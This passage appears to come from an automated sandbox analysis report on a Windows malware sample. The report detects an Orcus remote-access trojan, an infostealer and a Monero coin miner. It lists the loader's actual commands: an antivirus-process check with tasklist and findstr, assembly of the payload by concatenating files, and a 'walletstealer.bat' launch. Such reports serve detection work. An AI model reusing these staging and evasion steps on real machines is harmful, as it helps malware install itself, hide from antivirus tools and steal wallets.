                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShellJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior

                              Operating System Destruction

                              barindex
                              Protects its processes via BreakOnTermination flag
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess information set: 01 00 00 00 Jump to behavior

                              System Summary

                              barindex
                              Malicious sample detected (through community Yara rule)
                              Source: 29.2.RegAsm.exe.1100000.0.unpack, type: UNPACKEDPEMatched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
                              Source: 29.2.RegAsm.exe.1100000.0.unpack, type: UNPACKEDPEMatched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
                              Source: 32.2.COMSurrogate.exe.2121062f4b0.2.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 32.2.COMSurrogate.exe.2121062f4b0.2.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: 32.2.COMSurrogate.exe.21210011a78.3.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 32.2.COMSurrogate.exe.21210011a78.3.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
                              Source: 49.2.COMSurrogate.exe.162a5fc1a78.1.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: 0000001D.00000002.3719037419.0000000001102000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: RAT_Orcus Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
                              Source: C:\Users\user\AppData\Local\asm\mi.exe, type: DROPPEDMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
                              Source: C:\Users\user\AppData\Local\asm\mi.exe, type: DROPPEDMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
                              Source: C:\Users\user\AppData\Local\asm\mi.exe, type: DROPPEDMatched rule: Detects coinmining malware Author: ditekSHen
                              Yara detected Orcus RAT
                              Source: Yara matchFile source: 29.2.RegAsm.exe.1100000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0000001D.00000002.3719037419.0000000001102000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                              Windows Scripting host queries suspicious COM object (likely to drop second stage)
                              Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                              Wscript called in batch mode (surpress errors)
                              Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js"
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess Stats: CPU usage > 49%
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_008142D5: CreateFileW,DeviceIoControl,CloseHandle,24_2_008142D5
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00808F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,24_2_00808F2E
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,0_2_004038AF
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00815778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,24_2_00815778
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeFile created: C:\Users\user\AppData\Local\asm\WinRing0x64.sys
                              Source: C:\Users\user\Desktop\File.exeFile created: C:\Windows\MovieArchivesJump to behavior
                              Source: C:\Users\user\Desktop\File.exeFile created: C:\Windows\PackageExpressionJump to behavior
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_0040737E0_2_0040737E
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_00406EFE0_2_00406EFE
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_004079A20_2_004079A2
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_004049A80_2_004049A8
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007BB02024_2_007BB020
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007B94E024_2_007B94E0
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007B9C8024_2_007B9C80
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D23F524_2_007D23F5
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0083840024_2_00838400
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007E650224_2_007E6502
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007E265E24_2_007E265E
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007BE6F024_2_007BE6F0
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D282A24_2_007D282A
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007E89BF24_2_007E89BF
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007E6A7424_2_007E6A74
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00830A3A24_2_00830A3A
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007C0BE024_2_007C0BE0
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007DCD5124_2_007DCD51
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0080EDB224_2_0080EDB2
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00830EB724_2_00830EB7
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00818E4424_2_00818E44
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007E6FE624_2_007E6FE6
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D33B724_2_007D33B7
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007CD45D24_2_007CD45D
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007DF40924_2_007DF409
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007B166324_2_007B1663
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007CF62824_2_007CF628
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D16B424_2_007D16B4
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007BF6A024_2_007BF6A0
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D78C324_2_007D78C3
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D1BA824_2_007D1BA8
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007DDBA524_2_007DDBA5
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007E9CE524_2_007E9CE5
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007CDD2824_2_007CDD28
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007DBFD624_2_007DBFD6
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D1FC024_2_007D1FC0
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_0183A03229_2_0183A032
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_0183840029_2_01838400
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_0183931029_2_01839310
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078AB64829_2_078AB648
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078ABF1829_2_078ABF18
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078A386029_2_078A3860
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078AB30029_2_078AB300
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078FB40829_2_078FB408
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078FD45029_2_078FD450
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078F926029_2_078F9260
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078FD01029_2_078FD010
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078F873829_2_078F8738
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078FD88829_2_078FD888
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_079E052029_2_079E0520
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_079E815029_2_079E8150
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_079E814129_2_079E8141
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_079E18D029_2_079E18D0
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_079E18C129_2_079E18C1
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_07A2B4AC29_2_07A2B4AC
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_07A2705029_2_07A27050
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_07A268DA29_2_07A268DA
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_07A2B4AC29_2_07A2B4AC
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_07A2B4AC29_2_07A2B4AC
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_07A2D28929_2_07A2D289
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_07A2D29829_2_07A2D298
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeCode function: 32_2_00007FFAAC3E0F3532_2_00007FFAAC3E0F35
                              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr 865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: String function: 007D8B30 appears 42 times
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: String function: 007C1A36 appears 34 times
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: String function: 007D0D17 appears 70 times
                              Source: C:\Users\user\Desktop\File.exeCode function: String function: 004062CF appears 57 times
                              Source: COMSurrogate.exe.29.drStatic PE information: No import functions for PE file found
                              Source: smartscreen.exe.29.drStatic PE information: No import functions for PE file found
                              Source: File.exe, 00000000.00000003.1268471227.00000000008A3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCmd.Exe.MUIj% vs File.exe
                              Source: File.exe, 00000000.00000002.1268984992.00000000008A3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCmd.Exe.MUIj% vs File.exe
                              Source: File.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                              Source: 29.2.RegAsm.exe.1100000.0.unpack, type: UNPACKEDPEMatched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
                              Source: 29.2.RegAsm.exe.1100000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
                              Source: 32.2.COMSurrogate.exe.2121062f4b0.2.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 32.2.COMSurrogate.exe.2121062f4b0.2.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: 32.2.COMSurrogate.exe.21210011a78.3.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 32.2.COMSurrogate.exe.21210011a78.3.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: 49.2.COMSurrogate.exe.162a5fc1a78.1.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: 0000001D.00000002.3719037419.0000000001102000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
                              Source: C:\Users\user\AppData\Local\asm\mi.exe, type: DROPPEDMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
                              Source: C:\Users\user\AppData\Local\asm\mi.exe, type: DROPPEDMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
                              Source: C:\Users\user\AppData\Local\asm\mi.exe, type: DROPPEDMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
                              Source: COMSurrogate.exe.29.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                              Source: smartscreen.exe.29.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                              Source: 29.2.RegAsm.exe.6a90000.10.raw.unpack, ArrayUtils.csCryptographic APIs: 'TransformBlock'
                              Source: 29.2.RegAsm.exe.6a90000.10.raw.unpack, ArrayUtils.csCryptographic APIs: 'CreateDecryptor', 'TransformBlock'
                              Source: 29.2.RegAsm.exe.6300000.5.raw.unpack, CursorStreamCodec.csTask registration methods: 'CreateModifierTask'
                              Source: smartscreen.exe.29.dr, ClipboardMonitor.csBase64 encoded string: 'GAKQVYAYGOJEN2XJIYUYG24OGN64RXV2KN3UW3XUR6KUMENJ6YDM5TTG'
                              Source: 29.2.RegAsm.exe.5d00000.4.raw.unpack, KeyDatabase.csBase64 encoded string: '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', 'PetZ5Lw
                              Source: classification engineClassification label: mal100.troj.spyw.evad.mine.winEXE@71/48@0/5
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081A6AD GetLastError,FormatMessageW,24_2_0081A6AD
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00808DE9 AdjustTokenPrivileges,CloseHandle,24_2_00808DE9
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00809399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,24_2_00809399
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_004044D1
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00814148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,24_2_00814148
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_004024FB CoCreateInstance,0_2_004024FB
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,24_2_0081443D
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comFile created: C:\Users\user\AppData\Local\CreativePixel TechJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeMutant created: NULL
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5964:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3820:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2628:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5848:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6624:120:WilError_03
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5960:120:WilError_03
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeMutant created: \Sessions\1\BaseNamedObjects\7a9c0f279c464958aebbd585f20f1cf2
                              Source: C:\Users\user\Desktop\File.exeFile created: C:\Users\user~1\AppData\Local\Temp\nsu5A90.tmpJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" "
                              Source: File.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                              Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
                              Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * FROM WIN32_Processor
                              Source: C:\Users\user\Desktop\File.exeFile read: C:\Users\desktop.iniJump to behavior
                              Source: C:\Users\user\Desktop\File.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                              Source: File.exeReversingLabs: Detection: 36%
                              Source: C:\Users\user\Desktop\File.exeFile read: C:\Users\user\Desktop\File.exeJump to behavior
                              Source: unknownProcess created: C:\Users\user\Desktop\File.exe "C:\Users\user\Desktop\File.exe"
                              Source: C:\Users\user\Desktop\File.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 491505
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\491505\Dr.com Dr.com B
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 15
